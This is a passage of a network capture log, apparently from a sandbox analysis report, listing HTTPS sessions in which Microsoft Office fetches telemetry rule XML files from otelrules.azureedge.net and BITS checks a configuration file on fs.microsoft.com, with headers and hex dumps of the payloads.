81	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230333Z-1777c6cb754dqb2khC1TEBmk1s0000000a7g00000000czng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:34 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230334Z-178bfbc474bv7whqhC1NYC1fg400000000r0000000003k0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:34 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:34 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:34 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230334Z-1777c6cb754xjpthhC1TEBexs80000000a1g00000000mr6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:34 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:34 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230334Z-178bfbc474bpnd5vhC1NYC4vr400000000n000000000nt54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 848b8d5b-d01e-00a1-7163-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230336Z-178bfbc474bscnbchC1NYCe7eg00000000rg00000000xq6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230336Z-178bfbc474bv587zhC1NYCny5w00000000e000000000232q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230336Z-r1d97b995778dpcthC1TEB4b5400000009dg00000000ca25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:36 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e7fd51b1-801e-0067-1163-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230336Z-178bfbc474bv587zhC1NYCny5w00000000fg000000002gvw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:36 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:37 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230337Z-178bfbc474bgvl54hC1NYCsfuw00000000kg00000000q4zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49812	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 23:03:38 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=236513 Date: Wed, 20 Nov 2024 23:03:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230338Z-178bfbc474b9xljthC1NYCtw9400000000mg00000000626v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:38 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:38 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230338Z-1777c6cb7544nvmshC1TEBf7qc0000000a0000000000r41q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230338Z-178bfbc474bv7whqhC1NYC1fg400000000fg00000000umkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
